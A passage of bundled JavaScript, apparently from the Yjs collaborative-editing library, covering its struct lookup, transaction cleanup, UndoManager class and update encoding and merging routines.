4038 let right = structs.length - 1;
4039 let mid = structs[right];
4040 let midclock = mid.id.clock;
4041 if (midclock === clock) {
4042 return right;
4043 }
4044 let midindex = floor(clock / (midclock + mid.length - 1) * right);
4045 while (left <= right) {
4046 mid = structs[midindex];
4047 midclock = mid.id.clock;
4048 if (midclock <= clock) {
4049 if (clock < midclock + mid.length) {
4050 return midindex;
4051 }
4052 left = midindex + 1;
4053 } else {
4054 right = midindex - 1;
4055 }
4056 midindex = floor((left + right) / 2);
4057 }
4058 throw unexpectedCase();
4059 };
4060 var find = (store2, id2) => {
4061 const structs = store2.clients.get(id2.client);
4062 return structs[findIndexSS(structs, id2.clock)];
4063 };
4064 var getItem = (
4065 /** @type {function(StructStore,ID):Item} */
4066 find
4067 );
4068 var findIndexCleanStart = (transaction, structs, clock) => {
4069 const index = findIndexSS(structs, clock);
4070 const struct = structs[index];
4071 if (struct.id.clock < clock && struct instanceof Item) {
4072 structs.splice(index + 1, 0, splitItem(transaction, struct, clock - struct.id.clock));
4073 return index + 1;
4074 }
4075 return index;
4076 };
4077 var getItemCleanStart = (transaction, id2) => {
4078 const structs = (
4079 /** @type {Array<Item>} */
4080 transaction.doc.store.clients.get(id2.client)
4081 );
4082 return structs[findIndexCleanStart(transaction, structs, id2.clock)];
4083 };
4084 var getItemCleanEnd = (transaction, store2, id2) => {
4085 const structs = store2.clients.get(id2.client);
4086 const index = findIndexSS(structs, id2.clock);
4087 const struct = structs[index];
4088 if (id2.clock !== struct.id.clock + struct.length - 1 && struct.constructor !== GC) {
4089 structs.splice(index + 1, 0, splitItem(transaction, struct, id2.clock - struct.id.clock + 1));
4090 }
4091 return struct;
4092 };
4093 var replaceStruct = (store2, struct, newStruct) => {
4094 const structs = (
4095 /** @type {Array<GC|Item>} */
4096 store2.clients.get(struct.id.client)
4097 );
4098 structs[findIndexSS(structs, struct.id.clock)] = newStruct;
4099 };
4100 var iterateStructs = (transaction, structs, clockStart, len, f) => {
4101 if (len === 0) {
4102 return;
4103 }
4104 const clockEnd = clockStart + len;
4105 let index = findIndexCleanStart(transaction, structs, clockStart);
4106 let struct;
4107 do {
4108 struct = structs[index++];
4109 if (clockEnd < struct.id.clock + struct.length) {
4110 findIndexCleanStart(transaction, structs, clockEnd);
4111 }
4112 f(struct);
4113 } while (index < structs.length && structs[index].id.clock < clockEnd);
4114 };
4115 var Transaction = class {
4116 /**
4117 * @param {Doc} doc
4118 * @param {any} origin
4119 * @param {boolean} local
4120 */
4121 constructor(doc2, origin2, local) {
4122 this.doc = doc2;
4123 this.deleteSet = new DeleteSet();
4124 this.beforeState = getStateVector(doc2.store);
4125 this.afterState = /* @__PURE__ */ new Map();
4126 this.changed = /* @__PURE__ */ new Map();
4127 this.changedParentTypes = /* @__PURE__ */ new Map();
4128 this._mergeStructs = [];
4129 this.origin = origin2;
4130 this.meta = /* @__PURE__ */ new Map();
4131 this.local = local;
4132 this.subdocsAdded = /* @__PURE__ */ new Set();
4133 this.subdocsRemoved = /* @__PURE__ */ new Set();
4134 this.subdocsLoaded = /* @__PURE__ */ new Set();
4135 this._needFormattingCleanup = false;
4136 }
4137 };
4138 var writeUpdateMessageFromTransaction = (encoder, transaction) => {
4139 if (transaction.deleteSet.clients.size === 0 && !any(transaction.afterState, (clock, client) => transaction.beforeState.get(client) !== clock)) {
4140 return false;
4141 }
4142 sortAndMergeDeleteSet(transaction.deleteSet);
4143 writeStructsFromTransaction(encoder, transaction);
4144 writeDeleteSet(encoder, transaction.deleteSet);
4145 return true;
4146 };
4147 var addChangedTypeToTransaction = (transaction, type, parentSub) => {
4148 const item = type._item;
4149 if (item === null || item.id.clock < (transaction.beforeState.get(item.id.client) || 0) && !item.deleted) {
4150 setIfUndefined(transaction.changed, type, create2).add(parentSub);
4151 }
4152 };
4153 var tryToMergeWithLefts = (structs, pos) => {
4154 let right = structs[pos];
4155 let left = structs[pos - 1];
4156 let i = pos;
4157 for (; i > 0; right = left, left = structs[--i - 1]) {
4158 if (left.deleted === right.deleted && left.constructor === right.constructor) {
4159 if (left.mergeWith(right)) {
4160 if (right instanceof Item && right.parentSub !== null && /** @type {AbstractType<any>} */
4161 right.parent._map.get(right.parentSub) === right) {
4162 right.parent._map.set(
4163 right.parentSub,
4164 /** @type {Item} */
4165 left
4166 );
4167 }
4168 continue;
4169 }
4170 }
4171 break;
4172 }
4173 const merged = pos - i;
4174 if (merged) {
4175 structs.splice(pos + 1 - merged, merged);
4176 }
4177 return merged;
4178 };
4179 var tryGcDeleteSet = (ds, store2, gcFilter) => {
4180 for (const [client, deleteItems] of ds.clients.entries()) {
4181 const structs = (
4182 /** @type {Array<GC|Item>} */
4183 store2.clients.get(client)
4184 );
4185 for (let di = deleteItems.length - 1; di >= 0; di--) {
4186 const deleteItem = deleteItems[di];
4187 const endDeleteItemClock = deleteItem.clock + deleteItem.len;
4188 for (let si = findIndexSS(structs, deleteItem.clock), struct = structs[si]; si < structs.length && struct.id.clock < endDeleteItemClock; struct = structs[++si]) {
4189 const struct2 = structs[si];
4190 if (deleteItem.clock + deleteItem.len <= struct2.id.clock) {
4191 break;
4192 }
4193 if (struct2 instanceof Item && struct2.deleted && !struct2.keep && gcFilter(struct2)) {
4194 struct2.gc(store2, false);
4195 }
4196 }
4197 }
4198 }
4199 };
4200 var tryMergeDeleteSet = (ds, store2) => {
4201 ds.clients.forEach((deleteItems, client) => {
4202 const structs = (
4203 /** @type {Array<GC|Item>} */
4204 store2.clients.get(client)
4205 );
4206 for (let di = deleteItems.length - 1; di >= 0; di--) {
4207 const deleteItem = deleteItems[di];
4208 const mostRightIndexToCheck = min(structs.length - 1, 1 + findIndexSS(structs, deleteItem.clock + deleteItem.len - 1));
4209 for (let si = mostRightIndexToCheck, struct = structs[si]; si > 0 && struct.id.clock >= deleteItem.clock; struct = structs[si]) {
4210 si -= 1 + tryToMergeWithLefts(structs, si);
4211 }
4212 }
4213 });
4214 };
4215 var tryGc = (ds, store2, gcFilter) => {
4216 tryGcDeleteSet(ds, store2, gcFilter);
4217 tryMergeDeleteSet(ds, store2);
4218 };
4219 var cleanupTransactions = (transactionCleanups, i) => {
4220 if (i < transactionCleanups.length) {
4221 const transaction = transactionCleanups[i];
4222 const doc2 = transaction.doc;
4223 const store2 = doc2.store;
4224 const ds = transaction.deleteSet;
4225 const mergeStructs = transaction._mergeStructs;
4226 try {
4227 sortAndMergeDeleteSet(ds);
4228 transaction.afterState = getStateVector(transaction.doc.store);
4229 doc2.emit("beforeObserverCalls", [transaction, doc2]);
4230 const fs = [];
4231 transaction.changed.forEach(
4232 (subs, itemtype) => fs.push(() => {
4233 if (itemtype._item === null || !itemtype._item.deleted) {
4234 itemtype._callObserver(transaction, subs);
4235 }
4236 })
4237 );
4238 fs.push(() => {
4239 transaction.changedParentTypes.forEach((events, type) => {
4240 if (type._dEH.l.length > 0 && (type._item === null || !type._item.deleted)) {
4241 events = events.filter(
4242 (event) => event.target._item === null || !event.target._item.deleted
4243 );
4244 events.forEach((event) => {
4245 event.currentTarget = type;
4246 event._path = null;
4247 });
4248 events.sort((event1, event2) => event1.path.length - event2.path.length);
4249 fs.push(() => {
4250 callEventHandlerListeners(type._dEH, events, transaction);
4251 });
4252 }
4253 });
4254 fs.push(() => doc2.emit("afterTransaction", [transaction, doc2]));
4255 fs.push(() => {
4256 if (transaction._needFormattingCleanup) {
4257 cleanupYTextAfterTransaction(transaction);
4258 }
4259 });
4260 });
4261 callAll(fs, []);
4262 } finally {
4263 if (doc2.gc) {
4264 tryGcDeleteSet(ds, store2, doc2.gcFilter);
4265 }
4266 tryMergeDeleteSet(ds, store2);
4267 transaction.afterState.forEach((clock, client) => {
4268 const beforeClock = transaction.beforeState.get(client) || 0;
4269 if (beforeClock !== clock) {
4270 const structs = (
4271 /** @type {Array<GC|Item>} */
4272 store2.clients.get(client)
4273 );
4274 const firstChangePos = max(findIndexSS(structs, beforeClock), 1);
4275 for (let i2 = structs.length - 1; i2 >= firstChangePos; ) {
4276 i2 -= 1 + tryToMergeWithLefts(structs, i2);
4277 }
4278 }
4279 });
4280 for (let i2 = mergeStructs.length - 1; i2 >= 0; i2--) {
4281 const { client, clock } = mergeStructs[i2].id;
4282 const structs = (
4283 /** @type {Array<GC|Item>} */
4284 store2.clients.get(client)
4285 );
4286 const replacedStructPos = findIndexSS(structs, clock);
4287 if (replacedStructPos + 1 < structs.length) {
4288 if (tryToMergeWithLefts(structs, replacedStructPos + 1) > 1) {
4289 continue;
4290 }
4291 }
4292 if (replacedStructPos > 0) {
4293 tryToMergeWithLefts(structs, replacedStructPos);
4294 }
4295 }
4296 if (!transaction.local && transaction.afterState.get(doc2.clientID) !== transaction.beforeState.get(doc2.clientID)) {
4297 print(ORANGE, BOLD, "[yjs] ", UNBOLD, RED, "Changed the client-id because another client seems to be using it.");
4298 doc2.clientID = generateNewClientId();
4299 }
4300 doc2.emit("afterTransactionCleanup", [transaction, doc2]);
4301 if (doc2._observers.has("update")) {
4302 const encoder = new UpdateEncoderV1();
4303 const hasContent2 = writeUpdateMessageFromTransaction(encoder, transaction);
4304 if (hasContent2) {
4305 doc2.emit("update", [encoder.toUint8Array(), transaction.origin, doc2, transaction]);
4306 }
4307 }
4308 if (doc2._observers.has("updateV2")) {
4309 const encoder = new UpdateEncoderV2();
4310 const hasContent2 = writeUpdateMessageFromTransaction(encoder, transaction);
4311 if (hasContent2) {
4312 doc2.emit("updateV2", [encoder.toUint8Array(), transaction.origin, doc2, transaction]);
4313 }
4314 }
4315 const { subdocsAdded, subdocsLoaded, subdocsRemoved } = transaction;
4316 if (subdocsAdded.size > 0 || subdocsRemoved.size > 0 || subdocsLoaded.size > 0) {
4317 subdocsAdded.forEach((subdoc) => {
4318 subdoc.clientID = doc2.clientID;
4319 if (subdoc.collectionid == null) {
4320 subdoc.collectionid = doc2.collectionid;
4321 }
4322 doc2.subdocs.add(subdoc);
4323 });
4324 subdocsRemoved.forEach((subdoc) => doc2.subdocs.delete(subdoc));
4325 doc2.emit("subdocs", [{ loaded: subdocsLoaded, added: subdocsAdded, removed: subdocsRemoved }, doc2, transaction]);
4326 subdocsRemoved.forEach((subdoc) => subdoc.destroy());
4327 }
4328 if (transactionCleanups.length <= i + 1) {
4329 doc2._transactionCleanups = [];
4330 doc2.emit("afterAllTransactions", [doc2, transactionCleanups]);
4331 } else {
4332 cleanupTransactions(transactionCleanups, i + 1);
4333 }
4334 }
4335 }
4336 };
4337 var transact = (doc2, f, origin2 = null, local = true) => {
4338 const transactionCleanups = doc2._transactionCleanups;
4339 let initialCall = false;
4340 let result = null;
4341 if (doc2._transaction === null) {
4342 initialCall = true;
4343 doc2._transaction = new Transaction(doc2, origin2, local);
4344 transactionCleanups.push(doc2._transaction);
4345 if (transactionCleanups.length === 1) {
4346 doc2.emit("beforeAllTransactions", [doc2]);
4347 }
4348 doc2.emit("beforeTransaction", [doc2._transaction, doc2]);
4349 }
4350 try {
4351 result = f(doc2._transaction);
4352 } finally {
4353 if (initialCall) {
4354 const finishCleanup = doc2._transaction === transactionCleanups[0];
4355 doc2._transaction = null;
4356 if (finishCleanup) {
4357 cleanupTransactions(transactionCleanups, 0);
4358 }
4359 }
4360 }
4361 return result;
4362 };
4363 var StackItem = class {
4364 /**
4365 * @param {DeleteSet} deletions
4366 * @param {DeleteSet} insertions
4367 */
4368 constructor(deletions, insertions) {
4369 this.insertions = insertions;
4370 this.deletions = deletions;
4371 this.meta = /* @__PURE__ */ new Map();
4372 }
4373 };
4374 var clearUndoManagerStackItem = (tr, um, stackItem) => {
4375 iterateDeletedStructs(tr, stackItem.deletions, (item) => {
4376 if (item instanceof Item && um.scope.some((type) => type === tr.doc || isParentOf(
4377 /** @type {AbstractType<any>} */
4378 type,
4379 item
4380 ))) {
4381 keepItem(item, false);
4382 }
4383 });
4384 };
4385 var popStackItem = (undoManager2, stack, eventType) => {
4386 let _tr = null;
4387 const doc2 = undoManager2.doc;
4388 const scope = undoManager2.scope;
4389 transact(doc2, (transaction) => {
4390 while (stack.length > 0 && undoManager2.currStackItem === null) {
4391 const store2 = doc2.store;
4392 const stackItem = (
4393 /** @type {StackItem} */
4394 stack.pop()
4395 );
4396 const itemsToRedo = /* @__PURE__ */ new Set();
4397 const itemsToDelete = [];
4398 let performedChange = false;
4399 iterateDeletedStructs(transaction, stackItem.insertions, (struct) => {
4400 if (struct instanceof Item) {
4401 if (struct.redone !== null) {
4402 let { item, diff } = followRedone(store2, struct.id);
4403 if (diff > 0) {
4404 item = getItemCleanStart(transaction, createID(item.id.client, item.id.clock + diff));
4405 }
4406 struct = item;
4407 }
4408 if (!struct.deleted && scope.some((type) => type === transaction.doc || isParentOf(
4409 /** @type {AbstractType<any>} */
4410 type,
4411 /** @type {Item} */
4412 struct
4413 ))) {
4414 itemsToDelete.push(struct);
4415 }
4416 }
4417 });
4418 iterateDeletedStructs(transaction, stackItem.deletions, (struct) => {
4419 if (struct instanceof Item && scope.some((type) => type === transaction.doc || isParentOf(
4420 /** @type {AbstractType<any>} */
4421 type,
4422 struct
4423 )) && // Never redo structs in stackItem.insertions because they were created and deleted in the same capture interval.
4424 !isDeleted(stackItem.insertions, struct.id)) {
4425 itemsToRedo.add(struct);
4426 }
4427 });
4428 itemsToRedo.forEach((struct) => {
4429 performedChange = redoItem(transaction, struct, itemsToRedo, stackItem.insertions, undoManager2.ignoreRemoteMapChanges, undoManager2) !== null || performedChange;
4430 });
4431 for (let i = itemsToDelete.length - 1; i >= 0; i--) {
4432 const item = itemsToDelete[i];
4433 if (undoManager2.deleteFilter(item)) {
4434 item.delete(transaction);
4435 performedChange = true;
4436 }
4437 }
4438 undoManager2.currStackItem = performedChange ? stackItem : null;
4439 }
4440 transaction.changed.forEach((subProps, type) => {
4441 if (subProps.has(null) && type._searchMarker) {
4442 type._searchMarker.length = 0;
4443 }
4444 });
4445 _tr = transaction;
4446 }, undoManager2);
4447 const res = undoManager2.currStackItem;
4448 if (res != null) {
4449 const changedParentTypes = _tr.changedParentTypes;
4450 undoManager2.emit("stack-item-popped", [{ stackItem: res, type: eventType, changedParentTypes, origin: undoManager2 }, undoManager2]);
4451 undoManager2.currStackItem = null;
4452 }
4453 return res;
4454 };
4455 var UndoManager = class extends ObservableV2 {
4456 /**
4457 * @param {Doc|AbstractType<any>|Array<AbstractType<any>>} typeScope Limits the scope of the UndoManager. If this is set to a ydoc instance, all changes on that ydoc will be undone. If set to a specific type, only changes on that type or its children will be undone. Also accepts an array of types.
4458 * @param {UndoManagerOptions} options
4459 */
4460 constructor(typeScope, {
4461 captureTimeout = 500,
4462 captureTransaction = (_tr) => true,
4463 deleteFilter = () => true,
4464 trackedOrigins = /* @__PURE__ */ new Set([null]),
4465 ignoreRemoteMapChanges = false,
4466 doc: doc2 = (
4467 /** @type {Doc} */
4468 isArray(typeScope) ? typeScope[0].doc : typeScope instanceof Doc ? typeScope : typeScope.doc
4469 )
4470 } = {}) {
4471 super();
4472 this.scope = [];
4473 this.doc = doc2;
4474 this.addToScope(typeScope);
4475 this.deleteFilter = deleteFilter;
4476 trackedOrigins.add(this);
4477 this.trackedOrigins = trackedOrigins;
4478 this.captureTransaction = captureTransaction;
4479 this.undoStack = [];
4480 this.redoStack = [];
4481 this.undoing = false;
4482 this.redoing = false;
4483 this.currStackItem = null;
4484 this.lastChange = 0;
4485 this.ignoreRemoteMapChanges = ignoreRemoteMapChanges;
4486 this.captureTimeout = captureTimeout;
4487 this.afterTransactionHandler = (transaction) => {
4488 if (!this.captureTransaction(transaction) || !this.scope.some((type) => transaction.changedParentTypes.has(
4489 /** @type {AbstractType<any>} */
4490 type
4491 ) || type === this.doc) || !this.trackedOrigins.has(transaction.origin) && (!transaction.origin || !this.trackedOrigins.has(transaction.origin.constructor))) {
4492 return;
4493 }
4494 const undoing = this.undoing;
4495 const redoing = this.redoing;
4496 const stack = undoing ? this.redoStack : this.undoStack;
4497 if (undoing) {
4498 this.stopCapturing();
4499 } else if (!redoing) {
4500 this.clear(false, true);
4501 }
4502 const insertions = new DeleteSet();
4503 transaction.afterState.forEach((endClock, client) => {
4504 const startClock = transaction.beforeState.get(client) || 0;
4505 const len = endClock - startClock;
4506 if (len > 0) {
4507 addToDeleteSet(insertions, client, startClock, len);
4508 }
4509 });
4510 const now = getUnixTime();
4511 let didAdd = false;
4512 if (this.lastChange > 0 && now - this.lastChange < this.captureTimeout && stack.length > 0 && !undoing && !redoing) {
4513 const lastOp = stack[stack.length - 1];
4514 lastOp.deletions = mergeDeleteSets([lastOp.deletions, transaction.deleteSet]);
4515 lastOp.insertions = mergeDeleteSets([lastOp.insertions, insertions]);
4516 } else {
4517 stack.push(new StackItem(transaction.deleteSet, insertions));
4518 didAdd = true;
4519 }
4520 if (!undoing && !redoing) {
4521 this.lastChange = now;
4522 }
4523 iterateDeletedStructs(
4524 transaction,
4525 transaction.deleteSet,
4526 /** @param {Item|GC} item */
4527 (item) => {
4528 if (item instanceof Item && this.scope.some((type) => type === transaction.doc || isParentOf(
4529 /** @type {AbstractType<any>} */
4530 type,
4531 item
4532 ))) {
4533 keepItem(item, true);
4534 }
4535 }
4536 );
4537 const changeEvent = [{ stackItem: stack[stack.length - 1], origin: transaction.origin, type: undoing ? "redo" : "undo", changedParentTypes: transaction.changedParentTypes }, this];
4538 if (didAdd) {
4539 this.emit("stack-item-added", changeEvent);
4540 } else {
4541 this.emit("stack-item-updated", changeEvent);
4542 }
4543 };
4544 this.doc.on("afterTransaction", this.afterTransactionHandler);
4545 this.doc.on("destroy", () => {
4546 this.destroy();
4547 });
4548 }
4549 /**
4550 * Extend the scope.
4551 *
4552 * @param {Array<AbstractType<any> | Doc> | AbstractType<any> | Doc} ytypes
4553 */
4554 addToScope(ytypes) {
4555 const tmpSet = new Set(this.scope);
4556 ytypes = isArray(ytypes) ? ytypes : [ytypes];
4557 ytypes.forEach((ytype) => {
4558 if (!tmpSet.has(ytype)) {
4559 tmpSet.add(ytype);
4560 if (ytype instanceof AbstractType ? ytype.doc !== this.doc : ytype !== this.doc) warn("[yjs#509] Not same Y.Doc");
4561 this.scope.push(ytype);
4562 }
4563 });
4564 }
4565 /**
4566 * @param {any} origin
4567 */
4568 addTrackedOrigin(origin2) {
4569 this.trackedOrigins.add(origin2);
4570 }
4571 /**
4572 * @param {any} origin
4573 */
4574 removeTrackedOrigin(origin2) {
4575 this.trackedOrigins.delete(origin2);
4576 }
4577 clear(clearUndoStack = true, clearRedoStack = true) {
4578 if (clearUndoStack && this.canUndo() || clearRedoStack && this.canRedo()) {
4579 this.doc.transact((tr) => {
4580 if (clearUndoStack) {
4581 this.undoStack.forEach((item) => clearUndoManagerStackItem(tr, this, item));
4582 this.undoStack = [];
4583 }
4584 if (clearRedoStack) {
4585 this.redoStack.forEach((item) => clearUndoManagerStackItem(tr, this, item));
4586 this.redoStack = [];
4587 }
4588 this.emit("stack-cleared", [{ undoStackCleared: clearUndoStack, redoStackCleared: clearRedoStack }]);
4589 });
4590 }
4591 }
4592 /**
4593 * UndoManager merges Undo-StackItem if they are created within time-gap
4594 * smaller than `options.captureTimeout`. Call `um.stopCapturing()` so that the next
4595 * StackItem won't be merged.
4596 *
4597 *
4598 * @example
4599 * // without stopCapturing
4600 * ytext.insert(0, 'a')
4601 * ytext.insert(1, 'b')
4602 * um.undo()
4603 * ytext.toString() // => '' (note that 'ab' was removed)
4604 * // with stopCapturing
4605 * ytext.insert(0, 'a')
4606 * um.stopCapturing()
4607 * ytext.insert(0, 'b')
4608 * um.undo()
4609 * ytext.toString() // => 'a' (note that only 'b' was removed)
4610 *
4611 */
4612 stopCapturing() {
4613 this.lastChange = 0;
4614 }
4615 /**
4616 * Undo last changes on type.
4617 *
4618 * @return {StackItem?} Returns StackItem if a change was applied
4619 */
4620 undo() {
4621 this.undoing = true;
4622 let res;
4623 try {
4624 res = popStackItem(this, this.undoStack, "undo");
4625 } finally {
4626 this.undoing = false;
4627 }
4628 return res;
4629 }
4630 /**
4631 * Redo last undo operation.
4632 *
4633 * @return {StackItem?} Returns StackItem if a change was applied
4634 */
4635 redo() {
4636 this.redoing = true;
4637 let res;
4638 try {
4639 res = popStackItem(this, this.redoStack, "redo");
4640 } finally {
4641 this.redoing = false;
4642 }
4643 return res;
4644 }
4645 /**
4646 * Are undo steps available?
4647 *
4648 * @return {boolean} `true` if undo is possible
4649 */
4650 canUndo() {
4651 return this.undoStack.length > 0;
4652 }
4653 /**
4654 * Are redo steps available?
4655 *
4656 * @return {boolean} `true` if redo is possible
4657 */
4658 canRedo() {
4659 return this.redoStack.length > 0;
4660 }
4661 destroy() {
4662 this.trackedOrigins.delete(this);
4663 this.doc.off("afterTransaction", this.afterTransactionHandler);
4664 super.destroy();
4665 }
4666 };
4667 function* lazyStructReaderGenerator(decoder) {
4668 const numOfStateUpdates = readVarUint(decoder.restDecoder);
4669 for (let i = 0; i < numOfStateUpdates; i++) {
4670 const numberOfStructs = readVarUint(decoder.restDecoder);
4671 const client = decoder.readClient();
4672 let clock = readVarUint(decoder.restDecoder);
4673 for (let i2 = 0; i2 < numberOfStructs; i2++) {
4674 const info = decoder.readInfo();
4675 if (info === 10) {
4676 const len = readVarUint(decoder.restDecoder);
4677 yield new Skip(createID(client, clock), len);
4678 clock += len;
4679 } else if ((BITS5 & info) !== 0) {
4680 const cantCopyParentInfo = (info & (BIT7 | BIT8)) === 0;
4681 const struct = new Item(
4682 createID(client, clock),
4683 null,
4684 // left
4685 (info & BIT8) === BIT8 ? decoder.readLeftID() : null,
4686 // origin
4687 null,
4688 // right
4689 (info & BIT7) === BIT7 ? decoder.readRightID() : null,
4690 // right origin
4691 // @ts-ignore Force writing a string here.
4692 cantCopyParentInfo ? decoder.readParentInfo() ? decoder.readString() : decoder.readLeftID() : null,
4693 // parent
4694 cantCopyParentInfo && (info & BIT6) === BIT6 ? decoder.readString() : null,
4695 // parentSub
4696 readItemContent(decoder, info)
4697 // item content
4698 );
4699 yield struct;
4700 clock += struct.length;
4701 } else {
4702 const len = decoder.readLen();
4703 yield new GC(createID(client, clock), len);
4704 clock += len;
4705 }
4706 }
4707 }
4708 }
4709 var LazyStructReader = class {
4710 /**
4711 * @param {UpdateDecoderV1 | UpdateDecoderV2} decoder
4712 * @param {boolean} filterSkips
4713 */
4714 constructor(decoder, filterSkips) {
4715 this.gen = lazyStructReaderGenerator(decoder);
4716 this.curr = null;
4717 this.done = false;
4718 this.filterSkips = filterSkips;
4719 this.next();
4720 }
4721 /**
4722 * @return {Item | GC | Skip |null}
4723 */
4724 next() {
4725 do {
4726 this.curr = this.gen.next().value || null;
4727 } while (this.filterSkips && this.curr !== null && this.curr.constructor === Skip);
4728 return this.curr;
4729 }
4730 };
4731 var logUpdate = (update) => logUpdateV2(update, UpdateDecoderV1);
4732 var logUpdateV2 = (update, YDecoder = UpdateDecoderV2) => {
4733 const structs = [];
4734 const updateDecoder = new YDecoder(createDecoder(update));
4735 const lazyDecoder = new LazyStructReader(updateDecoder, false);
4736 for (let curr = lazyDecoder.curr; curr !== null; curr = lazyDecoder.next()) {
4737 structs.push(curr);
4738 }
4739 print("Structs: ", structs);
4740 const ds = readDeleteSet(updateDecoder);
4741 print("DeleteSet: ", ds);
4742 };
4743 var decodeUpdate = (update) => decodeUpdateV2(update, UpdateDecoderV1);
4744 var decodeUpdateV2 = (update, YDecoder = UpdateDecoderV2) => {
4745 const structs = [];
4746 const updateDecoder = new YDecoder(createDecoder(update));
4747 const lazyDecoder = new LazyStructReader(updateDecoder, false);
4748 for (let curr = lazyDecoder.curr; curr !== null; curr = lazyDecoder.next()) {
4749 structs.push(curr);
4750 }
4751 return {
4752 structs,
4753 ds: readDeleteSet(updateDecoder)
4754 };
4755 };
4756 var LazyStructWriter = class {
4757 /**
4758 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
4759 */
4760 constructor(encoder) {
4761 this.currClient = 0;
4762 this.startClock = 0;
4763 this.written = 0;
4764 this.encoder = encoder;
4765 this.clientStructs = [];
4766 }
4767 };
4768 var mergeUpdates = (updates) => mergeUpdatesV2(updates, UpdateDecoderV1, UpdateEncoderV1);
4769 var encodeStateVectorFromUpdateV2 = (update, YEncoder = DSEncoderV2, YDecoder = UpdateDecoderV2) => {
4770 const encoder = new YEncoder();
4771 const updateDecoder = new LazyStructReader(new YDecoder(createDecoder(update)), false);
4772 let curr = updateDecoder.curr;
4773 if (curr !== null) {
4774 let size2 = 0;
4775 let currClient = curr.id.client;
4776 let stopCounting = curr.id.clock !== 0;
4777 let currClock = stopCounting ? 0 : curr.id.clock + curr.length;
4778 for (; curr !== null; curr = updateDecoder.next()) {
4779 if (currClient !== curr.id.client) {
4780 if (currClock !== 0) {
4781 size2++;
4782 writeVarUint(encoder.restEncoder, currClient);
4783 writeVarUint(encoder.restEncoder, currClock);
4784 }
4785 currClient = curr.id.client;
4786 currClock = 0;
4787 stopCounting = curr.id.clock !== 0;
4788 }
4789 if (curr.constructor === Skip) {
4790 stopCounting = true;
4791 }
4792 if (!stopCounting) {
4793 currClock = curr.id.clock + curr.length;
4794 }
4795 }
4796 if (currClock !== 0) {
4797 size2++;
4798 writeVarUint(encoder.restEncoder, currClient);
4799 writeVarUint(encoder.restEncoder, currClock);
4800 }
4801 const enc = createEncoder();
4802 writeVarUint(enc, size2);
4803 writeBinaryEncoder(enc, encoder.restEncoder);
4804 encoder.restEncoder = enc;
4805 return encoder.toUint8Array();
4806 } else {
4807 writeVarUint(encoder.restEncoder, 0);
4808 return encoder.toUint8Array();
4809 }
4810 };
4811 var encodeStateVectorFromUpdate = (update) => encodeStateVectorFromUpdateV2(update, DSEncoderV1, UpdateDecoderV1);
4812 var parseUpdateMetaV2 = (update, YDecoder = UpdateDecoderV2) => {
4813 const from2 = /* @__PURE__ */ new Map();
4814 const to = /* @__PURE__ */ new Map();
4815 const updateDecoder = new LazyStructReader(new YDecoder(createDecoder(update)), false);
4816 let curr = updateDecoder.curr;
4817 if (curr !== null) {
4818 let currClient = curr.id.client;
4819 let currClock = curr.id.clock;
4820 from2.set(currClient, currClock);
4821 for (; curr !== null; curr = updateDecoder.next()) {
4822 if (currClient !== curr.id.client) {
4823 to.set(currClient, currClock);
4824 from2.set(curr.id.client, curr.id.clock);
4825 currClient = curr.id.client;
4826 }
4827 currClock = curr.id.clock + curr.length;
4828 }
4829 to.set(currClient, currClock);
4830 }
4831 return { from: from2, to };
4832 };
4833 var parseUpdateMeta = (update) => parseUpdateMetaV2(update, UpdateDecoderV1);
4834 var sliceStruct = (left, diff) => {
4835 if (left.constructor === GC) {
4836 const { client, clock } = left.id;
4837 return new GC(createID(client, clock + diff), left.length - diff);
4838 } else if (left.constructor === Skip) {
4839 const { client, clock } = left.id;
4840 return new Skip(createID(client, clock + diff), left.length - diff);
4841 } else {
4842 const leftItem = (
4843 /** @type {Item} */
4844 left
4845 );
4846 const { client, clock } = leftItem.id;
4847 return new Item(
4848 createID(client, clock + diff),
4849 null,
4850 createID(client, clock + diff - 1),
4851 null,
4852 leftItem.rightOrigin,
4853 leftItem.parent,
4854 leftItem.parentSub,
4855 leftItem.content.splice(diff)
4856 );
4857 }
4858 };
4859 var mergeUpdatesV2 = (updates, YDecoder = UpdateDecoderV2, YEncoder = UpdateEncoderV2) => {
4860 if (updates.length === 1) {
4861 return updates[0];
4862 }
4863 const updateDecoders = updates.map((update) => new YDecoder(createDecoder(update)));
4864 let lazyStructDecoders = updateDecoders.map((decoder) => new LazyStructReader(decoder, true));
4865 let currWrite = null;
4866 const updateEncoder = new YEncoder();
4867 const lazyStructEncoder = new LazyStructWriter(updateEncoder);
4868 while (true) {
4869 lazyStructDecoders = lazyStructDecoders.filter((dec) => dec.curr !== null);
4870 lazyStructDecoders.sort(
4871 /** @type {function(any,any):number} */
4872 (dec1, dec2) => {
4873 if (dec1.curr.id.client === dec2.curr.id.client) {
4874 const clockDiff = dec1.curr.id.clock - dec2.curr.id.clock;
4875 if (clockDiff === 0) {
4876 return dec1.curr.constructor === dec2.curr.constructor ? 0 : dec1.curr.constructor === Skip ? 1 : -1;
4877 } else {
4878 return clockDiff;
4879 }
4880 } else {
4881 return dec2.curr.id.client - dec1.curr.id.client;
4882 }
4883 }
4884 );
4885 if (lazyStructDecoders.length === 0) {
4886 break;
4887 }
4888 const currDecoder = lazyStructDecoders[0];
4889 const firstClient = (
4890 /** @type {Item | GC} */
4891 currDecoder.curr.id.client
4892 );
4893 if (currWrite !== null) {
4894 let curr = (
4895 /** @type {Item | GC | null} */
4896 currDecoder.curr
4897 );
4898 let iterated = false;
4899 while (curr !== null && curr.id.clock + curr.length <= currWrite.struct.id.clock + currWrite.struct.length && curr.id.client >= currWrite.struct.id.client) {
4900 curr = currDecoder.next();
4901 iterated = true;
4902 }
4903 if (curr === null || // current decoder is empty
4904 curr.id.client !== firstClient || // check whether there is another decoder that has has updates from `firstClient`
4905 iterated && curr.id.clock > currWrite.struct.id.clock + currWrite.struct.length) {
4906 continue;
4907 }
4908 if (firstClient !== currWrite.struct.id.client) {
4909 writeStructToLazyStructWriter(lazyStructEncoder, currWrite.struct, currWrite.offset);
4910 currWrite = { struct: curr, offset: 0 };
4911 currDecoder.next();
4912 } else {
4913 if (currWrite.struct.id.clock + currWrite.struct.length < curr.id.clock) {
4914 if (currWrite.struct.constructor === Skip) {
4915 currWrite.struct.length = curr.id.clock + curr.length - currWrite.struct.id.clock;
4916 } else {
4917 writeStructToLazyStructWriter(lazyStructEncoder, currWrite.struct, currWrite.offset);
4918 const diff = curr.id.clock - currWrite.struct.id.clock - currWrite.struct.length;
4919 const struct = new Skip(createID(firstClient, currWrite.struct.id.clock + currWrite.struct.length), diff);
4920 currWrite = { struct, offset: 0 };
4921 }
4922 } else {
